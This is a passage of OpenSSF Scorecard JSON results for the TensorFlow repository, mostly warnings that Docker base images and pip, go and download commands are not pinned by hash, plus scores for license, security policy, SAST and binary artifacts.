tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: 